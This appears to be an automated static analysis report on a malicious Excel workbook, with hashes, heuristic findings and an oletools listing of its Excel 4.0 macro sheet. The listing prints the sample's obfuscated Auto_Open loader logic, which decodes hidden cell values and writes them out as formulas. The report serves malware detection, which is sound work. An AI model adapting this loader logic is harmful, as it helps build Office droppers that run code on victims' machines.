Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c43dc73716962bea…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:43:13 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 2d1dca5034f74536344128a9a62144d6 SHA-1: e26982e39097988b8116f070920cb5a4f36e1cd3 SHA-256: c43dc73716962bea370ddd88d304f61a80c3b10c4647d77282a9447a1a617dde
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6543 bytes
SHA-256: 245a68469650ab428d7803d24020206fd6583e45b66e0a30817d987f733822f6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zgbBrwrg
' 0018     24 LABEL : Cell Value, String Constant - AjoHgozQU len=0 
' 0018     21 LABEL : Cell Value, String Constant - AotDjx len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B134 
' 0018     20 LABEL : Cell Value, String Constant - cGWIr len=0 
' 0018     26 LABEL : Cell Value, String Constant - HgBTaPHFkyF len=0 
' 0018     24 LABEL : Cell Value, String Constant - JBynilvlF len=0 
' 0018     21 LABEL : Cell Value, String Constant - JdaPyo len=0 
' 0018     25 LABEL : Cell Value, String Constant - kdFzRlelUu len=0 
' 0018     24 LABEL : Cell Value, String Constant - mspNBjSfo len=0 
' 0018     21 LABEL : Cell Value, String Constant - QdoJDH len=0 
' 0018     24 LABEL : Cell Value, String Constant - QdsiuXwNN len=0 
' 0018     20 LABEL : Cell Value, String Constant - QjuWV len=0 
' 0018     24 LABEL : Cell Value, String Constant - qwgvhmpBm len=0 
' 0018     26 LABEL : Cell Value, String Constant - rrggbwKuRDv len=0 
' 0018     22 LABEL : Cell Value, String Constant - tGYyPzW len=0 
' 0018     21 LABEL : Cell Value, String Constant - tSifdB len=0 
' 0018     22 LABEL : Cell Value, String Constant - vJDHCCk len=0 
' 0018     21 LABEL : Cell Value, String Constant - WDVdNc len=0 
' 0018     20 LABEL : Cell Value, String Constant - WpAgY len=0 
' 0018     22 LABEL : Cell Value, String Constant - wzeMYrH len=0 
' 0018     23 LABEL : Cell Value, String Constant - xcUvyHWK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zgbBrwrg,B51,"SET.NAME("kdFzRlelUu",VALUE("0"))",""
'  zgbBrwrg,B56,"SET.NAME("WpAgY",kdFzRlelUu)",""
'  zgbBrwrg,B60,"SET.NAME("WDVdNc",kdFzRlelUu)",""
'  zgbBrwrg,B64,"SET.NAME("tGYyPzW",COUNTA(AotDjx))",""
'  zgbBrwrg,B68,"SET.NAME("QjuWV",COUNTA(xcUvyHWK))",""
'  zgbBrwrg,B70,[],""
'  zgbBrwrg,B74,"SET.NAME("wzeMYrH","")",""
'  zgbBrwrg,B79,"WpAgY",""
'  zgbBrwrg,B81,"SET.NAME("vJDHCCk",HLOOKUP("*",AotDjx,WpAgY,FALSE))",""
'  zgbBrwrg,B83,"cGWIr",""
'  zgbBrwrg,B85,"SET.NAME("JdaPyo",kdFzRlelUu)",""
'  zgbBrwrg,B87,[],""
'  zgbBrwrg,B92,"JdaPyo",""
'  zgbBrwrg,B95,"AjoHgozQU",""
'  zgbBrwrg,B98,"JBynilvlF",""
'  zgbBrwrg,B100,"rrggbwKuRDv",""
'  zgbBrwrg,B104,"SET.NAME("QdsiuXwNN",VALUE(HLOOKUP("*",xcUvyHWK,rrggbwKuRDv,FALSE)))",""
'  zgbBrwrg,B108,"mspNBjSfo",""
'  zgbBrwrg,B110,"wzeMYrH",""
'  zgbBrwrg,B115,"WDVdNc",""
'  zgbBrwrg,B117,NEXT(),""
'  zgbBrwrg,B119,"QdoJDH",""
'  zgbBrwrg,B124,"SET.NAME("f",INT(T(FORMULA(T(wzeMYrH)&"",""&T(QdoJDH)))))",""
'  zgbBrwrg,B128,"qwgvhmpBm",""
'  zgbBrwrg,B130,NEXT(),""
'  zgbBrwrg,B132,RETURN(),""
'  zgbBrwrg,B157,"SET.NAME("HgBTaPHFkyF",B51)",""
'  zgbBrwrg,B162,"AotDjx",""
'  zgbBrwrg,B164,"SET.NAME("xcUvyHWK",R62C15)",""
'  zgbBrwrg,B167,"SET.NAME("qwgvhmpBm",175)",""
'  zgbBrwrg,B171,"SET.NAME("tSifdB",2)",""
'  zgbBrwrg,B174,HgBTaPHFkyF(),""
'  zgbBrwrg,B175,HALT(),""